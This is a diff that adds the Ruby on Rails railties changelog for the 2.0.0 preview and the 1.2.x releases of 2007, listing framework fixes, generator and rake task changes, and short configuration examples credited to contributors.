+*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.1.4 - 1.2.3]
+
+* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 [evan]
+
+* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. [Rick]
+
+* Moved Dispatcher to ActionController::Dispatcher.  [Jeremy Kemper]
+
+* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [DHH]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
+
+* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised [DHH]
+
+* Added --skip-fixture option to script/generate model #6862 [sandofsky]
+
+* Print Rails version when starting console #7440 [eyematz]
+
+* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 [jkit]
+
+* Added TEMPLATE option to rake doc:app to set a custom output template #7737 [Jakob S]
+
+* Added VERBOSE option to rake db:migrate to turn off output #8204 [jbarnette]
+
+* Fixed that rake doc:app should use UTF-8 #8906 [farzy]
+
+* Fixes rake annotations to search erb and builder files as well #9150 [m.langenberg]
+
+* Removed web_service generator [Koz]
+
+* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
+
+    # Loads :classic_pagination before all the other plugins
+    config.plugins = [ :classic_pagination, :all ]
+
+* Added symbols as a legal way of specifying plugins in config.plugins #9629 [tom]
+
+* Removed deprecated task names, like clear_logs, in favor of the new namespaced style [DHH]
+
+* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate.  #9582 [zdennis]
+
+* Added db:drop:all to drop all databases declared in config/database.yml [DHH]
+
+* Use attribute pairs instead of the migration name to create add and remove column migrations.  Closes #9166 [Pratik Naik]
+
+	For example:
+
+	ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string
+	
+	or
+	
+	ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
+
+* Add ActiveResource to Rails::Info.  Closes #8741 [kampers]
+
+* use Gem.find_name instead of search when freezing gems.  Prevent false positives for other gems with rails in the name. Closes #8729 [wselman]
+
+* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent.  Closes #9006 [zenspider]
+
+* Default to plural table name in Rails Generator if ActiveRecord is not present.  Closes #8963 [evan]
+
+* Added rake routes for listing all the defined routes in the system.  #8795 [Josh Peek]
+
+* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments.  #8783 [matt]
+
+* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also.  #8730 [Dr Nic, topfunky]
+
+* MySQL, PostgreSQL: database.yml defaults to utf-8.  #8701 [matt]
+
+* Added db:version to get the current schema number [via Err The Blog]
+
+* Added --skip-migration option to scaffold and resource generators #8656 [Michael Glaesemann]
+
+* Fix that FCGIs would leave log files open when asked to shut down by USR2.  #3028 [Sebastian Kanthak, Josh Peek]
+
+* Fixed that dispatcher preparation callbacks only run once in production mode.  Mock Routes.reload so that dispatcher preparation callback tests run. [Rick]
+
+* Fix syntax error in dispatcher than wrecked failsafe responses.  #8625 [mtitorenko]
+
+* Scaffolded validation errors set the appropriate HTTP status for XML responses.  #6946, #8622 [Manfred Stienstra, mmmultiworks]
+
+* Sexy migrations for the session_migration generator.  #8561 [Vladislav]
+
+* Console reload! runs to_prepare callbacks also.  #8393 [f.svehla]
+
+* Generated migrations include timestamps by default.  #8501 [Shane Vitarana]
+
+* Drop Action Web Service from rails:freeze:edge.  [Jeremy Kemper]
+
+* Add db:create, drop, reset, charset, and collation tasks.  #8448 [matt]
+
+* Scaffold generator depends on model generator instead of duplicating it.  #7222 [bscofield]
+
+* Scaffold generator tests.  #8443 [pelle]
+
+* Generated scaffold functional tests use assert_difference.  #8421 [Norbert Crombach]
+
+* Update to Prototype 1.5.1.  [Sam Stephenson]
+
+* Update to script.aculo.us 1.7.1_beta3.  [Thomas Fuchs]
+
+* Generators use *.html.erb view template naming.  #8278 [Tim Pope]
+
+* Updated resource_scaffold and model generators to use short-hand style migrations [DHH]
+
+* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. [Nicholas Seckar]
+
+* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [DHH]
+
+  To use the new debugger, start your server with script/server --debugger and insert a call to  'debugger'
+  (instead of 'breakpoint') where you want to jump into the debugger. 
+  
+  BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb:
+  
+    config.breakpoint_server = true
+  
+  This configuration option is no longer available. Rails will fail to start in development mode as long as 
+  that's still present.
+
+* Resource scaffolding returns the created entity.to_xml.  [Jeremy Kemper]
+
+* Resource scaffolding responds to new.xml.  #8185 [Eric Mill]
+
+* Include Active Resource in rails:freeze:edge rake task.  [Thomas Fuchs]
+
+* Include Active Resource instead of Action Web Service [DHH] You can add AWS back with this in config/environment.rb:
+
+    config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
+  
+  ...or just gem 'actionwebservice'
+
+* Give generate scaffold a more descriptive database message.  Closes #7316 [jeremymcanally]
+
+* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows.  #6755 [Jeremy Kemper, trevor]
+
+* Deprecation: remove components from controller paths.  [Jeremy Kemper]
+
+* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. [Nicholas Seckar]
+
+* Windows: include MinGW in RUBY_PLATFORM check.  #2982 [okkez000 at gmail.com, Kaspar Schiess]
+
+* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. [Marcel Molina Jr.] 
+
+* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option.  Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now.  [Marcel Molina Jr.]
+
+* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license [DHH]
+
+* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
+
+* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time [DHH]
+
+* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff [DHH]
+
+* For new apps, generate a random secret for the cookie-based session store.  [Jeremy Kemper]
+
+* Stop swallowing errors during rake test [Koz]
+
+* Update Rails Initializer to use ActionController::Base#view_paths [Rick]
+
+* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
+
+* Plugins may be symlinked in vendor/plugins.  #4245 [brandon, progrium at gmail.com]
+
+* Resource generator depends on the model generator rather than duplicating it.  #7269 [bscofield]
+
+* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator.  Closes #7092, #7271, #7267.  [bscofield]
+
+* Update to script.aculo.us 1.7.0.  [Thomas Fuchs]
+
+* Update to Prototype 1.5.0. [Sam Stephenson]
+
+* Generator: use destination path for diff tempfiles.  #7015 [alfeld]
+
+* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
+
+* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick]
+  If you really want your plugins to reload, add this to the very top of init.rb:
+  
+    Dependencies.load_once_paths.delete(lib_path)
+
+* Allow config.to_prepare to work, make the dispatcher safe to 're require'. [Koz, Nicholas Seckar]
+
+* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file.  Closes #6852 [fearoffish]
+
+* Fix Webrick Daemon dispatching bug regarding a bad current working directory.  Closes #4899 [Rick Olson]
+
+* Make config.plugins affect the load path and the dependencies system.  Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
+
+* Don't generate a components directory in new Rails apps.  [Jeremy Kemper]
+
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [DHH]
+
+* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) [DHH]
+
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [DHH]
+
+* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
+
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [DHH]
+
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [DHH]
+
+* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
+
+* Made script/server work with -e and -d when using Mongrel [DHH]
+
+* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
+
+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Luetke]
+
+* Rails::VERSION::STRING should always be available without having to require 'rails/version'.  #6244 [fearoffish]
+
+* Update to Prototype 1.5.0_rc2. [Sam Stephenson]
+
+* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
+
+* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished.  [Jeremy Kemper]
+
+* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
+
+* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT.  #6584 [jchris]
+
+* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. [Nicholas Seckar]
+
+* scaffold_resource generator uses _path named routes and head instead of render :nothing => true.  #6545 [Josh Susser]
+
+* Generator can show diff on file collision to help you decide whether to skip or overwrite.  #6364 [jeffw, Jeremy Kemper]
+
+* Generated directories are recursively svn added, like mkdir -p.  #6416 [NeilW]
+
+* resource and scaffold_resource generators add a restful route to config/routes.rb  [Jeremy Kemper]
+
+* Revert environment changes for autoload_paths. [Koz]
+
+* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
+
+* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Koz]
+
+* Added option to script/process/spawner of specifying the binding address #5133 [zsombor]
+
+* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
+
+* Update scaffold to use new form_tag block functionality.  Closes #6480. [BobSilva]
+
+* Plugin generator: check for class collisions.  #4833 [vinbarnes at gmail.com]
+
+* Mailer generator: handle mailers in modules, set mime_version in unit test.  [Jeremy Kemper]
+
+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Koz]
+
+* Added config.plugins to control which plugins are loaded #6269 [skaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+
+    config.plugins = %w[ routing_navigator simply_helpful ]
+
+* Clean up html on included error pages. [Tim Lucas]
+
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [DHH]
+
+* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
+
+* PostgreSQL: db:test:purge closes open database connections first.  #6236 [alex]
+
+* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul at paulbutcher.com]
+
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [BobSilva]
+
+* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon at opensoul.org]
+
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [DHH]
+
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [DHH]. Examples:
+
+    ./script/generate model post title:string created_on:date body:text published:boolean
+
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [DHH]
+
+* script/runner can run files, pass on arguments, and be used as a shebang.  #6286 [Tuxie, dlpond]
+    #!/usr/bin/env /path/to/my/app/script/runner
+    # Example: just start using your models as if you are in script/console
+    Product.find(:all).each { |product| product.check_inventory }
+
+* Look for rake tasks in plugin subdirs.  #6259 [obrie]
+
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [DHH]
+
+* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
+
+  - XPATH support
+  - Make Form.getElements() return elements in the correct order
+  - fix broken Form.serialize return
+
+* session_migration generator adds an index on updated_at.  #6207 [grg]
+
+* script/server creates the tmp/pids directory.  #6204 [jonathan]
+
+* Fix script/console --sandbox for internal transactions changes.  #5738 [chris at octopod.info, charles.gerungan at gmail.com]
+
+* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
+documented in initializer.rb, the workaround is:
+  
+  config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
+  
+References #6031. [Nicholas Seckar]
+
+* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
+
+* Update to Prototype 1.5.0_rc1 [sam]
+
+* Formally Deprecate the old rake tasks. [Koz]
+
+* Thoroughly test the FCGI dispatcher.  #5970 [Kevin Clark]
+
+* Remove Dir.chdir in the Webrick DispatchServlet#initialize method.  Fix bad path errors when trying to load config/routes.rb.  [Rick Olson]
+
+* Tighten rescue clauses.  #5985 [james at grayproductions.net]
+
+* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
+
+* Add Dependencies.load_once_paths. [Nicholas Seckar]
+
+* Updated to script.aculo.us 1.6.2 [Thomas Fuchs]
+
+* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
+
+* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
+
+* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
+
+  ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
+  ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
+
+* Add missing mock directories from the autoload_paths configuration.  [Rick Olson]
+
+* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
+
+* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
+
+* Add autoload_paths support to Initializer. [Nicholas Seckar]
+
+* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743.  [Rick Olson]
+
+* Clarify usage of script/plugin source. Closes #5344. [james.adam at gmail.com]
+
+* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
+
+* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279.  [Rick Olson]
+
+* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats at imediatec.co.uk]
+
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [shugo at ruby-lang.org]
+
+* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController.  [Rick Olson]
+
+* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
+
+* Fix script/plugin about so it uses about.yml and not meta.yml.  [James Adam]
+
+* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd at notso.net]
+
+* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster at metavillage.com]
+
+* Ensure the logger is initialized. #5629 [mike at clarkware.com]
+
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [DHH]. Examples:
+
+    spawner               # starts instances on 8000, 8001, and 8002 using Mongrel if available
+    spawner fcgi          # starts instances on 8000, 8001, and 8002 using FCGI
+    spawner mongrel -i 5  # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
+    spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
+    spawner -p 9100 -r 5  # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
+
+  Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
+
+* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan at protest.net]
+
+* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit at tradeharbor.com]
+
+* Fixed migration generation for class names like ACLController #5197 [brad at madriska.com]
+
+* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi at drecom.co.jp]. Examples:
+
+    irb(#<TopController:0x40822a68>):002:0> show_source_list
+    0001  class TopController < ApplicationController
+    0002    def show
+    0003->    breakpoint
+    0004    end
+    0005    
+    0006    def index
+    0007    end
+    0008    
+    => "/path/to/rails/root/app/controllers/top_controller.rb"
+
+    irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
+    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+    app/controllers/top_controller.rb:3:in `show'
+    => "/path/to/rails/root/app/controllers/top_controller.rb:3"
+
+* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils at alumni.rice.edu]
+
+* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike at clarkware.com]
+
+* Don't assume Active Record is available. #5497 [bob at sporkmonger.com]
+
+* Mongrel: script/server works on Win32. #5499 [jeremydurham at gmail.com]
+
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [nicksieger at gmail.com]
+
+* Mongrel support for script/server.  #5475 [jeremydurham at gmail.com]
+
+* Fix script/plugin so it doesn't barf on invalid URLs [Rick]
+
+* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
+
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick]
+
+* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi at drecom.co.jp]
+
+* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot at townx.org]
+
+* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
+
+* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
+
+* Added lib/ to the directories that will get application docs generated [DHH]
+
+* Add observer generator. Closes #5167. [francois.beausoleil at gmail.com]
+
+* Session migration generator obeys pluralize_table_names. #5145 [james.adam at gmail.com]
+
+* rake test:recent understands subdirectories. #2925 [jerrett at bravenet.com]
+
+* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot at townx.org]
+
+* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug at owl.me.uk]
+
+* Distinguish the spawners for different processes [DHH]
+
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [DHH]
+
+* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
+
+* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
+
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [DHH]
+
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [DHH]
+
+
+*1.2.3* (March 12th, 2007)
+
+* Ruby 1.8.6 compatibility
+
+* Windows: include MinGW in RUBY_PLATFORM check.  #2982 [okkez000 at gmail.com, Kaspar Schiess]
+
+* Stop swallowing errors during rake test [Koz]
+
+
+*1.2.2* (February 5th, 2007)
+
+* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
+
+* Require the dispatcher for Rails::Configuration#to_prepare.  [Rick]
+
+
+*1.2.1* (January 16th, 2007)
+
+* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1
+
+
+*1.2.0* (January 16th, 2007)
+
+* Update to Prototype 1.5.0. [Sam Stephenson]
+
+* Generator: use destination path for diff tempfiles.  #7015 [alfeld]
+
+* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
+
+* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick]
+  If you really want your plugins to reload, add this to the very top of init.rb:
+  
+    Dependencies.load_once_paths.delete(lib_path)
+
+* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file.  Closes #6852 [fearoffish]
+
+* Fix Webrick Daemon dispatching bug regarding a bad current working directory.  Closes #4899 [Rick Olson]
+
+* Make config.plugins affect the load path and the dependencies system.  Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
+
+* Don't generate a components directory in new Rails apps.  [Jeremy Kemper]
+
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [DHH]
+
+* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 [DHH]
+
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [DHH]
+
+* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
+
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [DHH]
+
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [DHH]
+
+* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
+
+* Made script/server work with -e and -d when using Mongrel [DHH]
+
+* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Luetke]
+
+* Rails::VERSION::STRING should always be available without having to require 'rails/version'.  #6244 [fearoffish]
+
+* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
+
+* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished.  [Jeremy Kemper]
+
+* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
+
+* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT.  #6584 [jchris]
+
+* scaffold_resource generator uses _path named routes and head instead of render :nothing => true.  #6545 [Josh Susser]
+
+* Generator can show diff on file collision to help you decide whether to skip or overwrite.  #6364 [jeffw, Jeremy Kemper]
+
+* Generated directories are recursively svn added, like mkdir -p.  #6416 [NeilW]
+
+* resource and scaffold_resource generators add a restful route to config/routes.rb  [Jeremy Kemper]
+
+* Revert environment changes for autoload_paths. [Koz]
+
+* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Koz]
+
+* Added option to script/process/spawner of specifying the binding address #5133 [zsombor]
+
+* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
+
+* Update scaffold to use new form_tag block functionality.  Closes #6480. [BobSilva]
+
+* Plugin generator: check for class collisions.  #4833 [vinbarnes at gmail.com]
+
+* Mailer generator: handle mailers in modules, set mime_version in unit test.  [Jeremy Kemper]
+
+* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Koz]
+
+* Added config.plugins to control which plugins are loaded #6269 [skaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
+
+    config.plugins = %w[ routing_navigator simply_helpful ]
+
+* Clean up html on included error pages. [Tim Lucas]
+
+* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [DHH]
+
+* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
+
+* PostgreSQL: db:test:purge closes open database connections first.  #6236 [alex]
+
+* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul at paulbutcher.com]
+
+* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [BobSilva]
+
+* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon at opensoul.org]
+
+* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [DHH]
+
+* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [DHH]. Examples:
+
+    ./script/generate model post title:string created_on:date body:text published:boolean
+
+* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [DHH]
+
+* script/runner can run files, pass on arguments, and be used as a shebang.  #6286 [Tuxie, dlpond]
+    #!/usr/bin/env /path/to/my/app/script/runner
+    # Example: just start using your models as if you are in script/console
+    Product.find(:all).each { |product| product.check_inventory }
+
+* Look for rake tasks in plugin subdirs.  #6259 [obrie]
+
+* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [DHH]
+
+* session_migration generator adds an index on updated_at.  #6207 [grg]
+
+* script/server creates the tmp/pids directory.  #6204 [jonathan]
+
+* Fix script/console --sandbox for internal transactions changes.  #5738 [chris at octopod.info, charles.gerungan at gmail.com]
+
+* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
+documented in initializer.rb, the workaround is:
+  
+  config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
+  
+References #6031. [Nicholas Seckar]
+
+* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
+
+* Formally Deprecate the old rake tasks. [Koz]
+
+* Thoroughly test the FCGI dispatcher.  #5970 [Kevin Clark]
+
+* Remove Dir.chdir in the Webrick DispatchServlet#initialize method.  Fix bad path errors when trying to load config/routes.rb.  [Rick Olson]
+
+* Tighten rescue clauses.  #5985 [james at grayproductions.net]
+
+* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
+
+* Add Dependencies.load_once_paths. [Nicholas Seckar]
+
+* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
+
+* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
+
+* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
+
+  ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
+  ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
+
+* Add missing mock directories from the autoload_paths configuration.  [Rick Olson]
+
+* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
+
+* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
+
+* Add autoload_paths support to Initializer. [Nicholas Seckar]
+
+* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743.  [Rick Olson]
+
+* Clarify usage of script/plugin source. Closes #5344. [james.adam at gmail.com]
+
+* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
+
+* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279.  [Rick Olson]
+
+* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats at imediatec.co.uk]
+
+* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [shugo at ruby-lang.org]
+
+* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController.  [Rick Olson]
+
+* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
+
+* Fix script/plugin about so it uses about.yml and not meta.yml.  [James Adam]
+
+* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd at notso.net]
+
+* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster at metavillage.com]
+
+* Ensure the logger is initialized. #5629 [mike at clarkware.com]
+
+* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [DHH]. Examples:
+
+    spawner               # starts instances on 8000, 8001, and 8002 using Mongrel if available
+    spawner fcgi          # starts instances on 8000, 8001, and 8002 using FCGI
+    spawner mongrel -i 5  # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
+    spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
+    spawner -p 9100 -r 5  # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
+
+  Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
+
+* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan at protest.net]
+
+* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit at tradeharbor.com]
+
+* Fixed migration generation for class names like ACLController #5197 [brad at madriska.com]
+
+* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi at drecom.co.jp]. Examples:
+
+    irb(#<TopController:0x40822a68>):002:0> show_source_list
+    0001  class TopController < ApplicationController
+    0002    def show
+    0003->    breakpoint
+    0004    end
+    0005    
+    0006    def index
+    0007    end
+    0008    
+    => "/path/to/rails/root/app/controllers/top_controller.rb"
+
+    irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
+    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
+    app/controllers/top_controller.rb:3:in `show'
+    => "/path/to/rails/root/app/controllers/top_controller.rb:3"
+
+* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils at alumni.rice.edu]
+
+* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike at clarkware.com]
+
+* Don't assume Active Record is available. #5497 [bob at sporkmonger.com]
+
+* Mongrel: script/server works on Win32. #5499 [jeremydurham at gmail.com]
+
+* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [nicksieger at gmail.com]
+
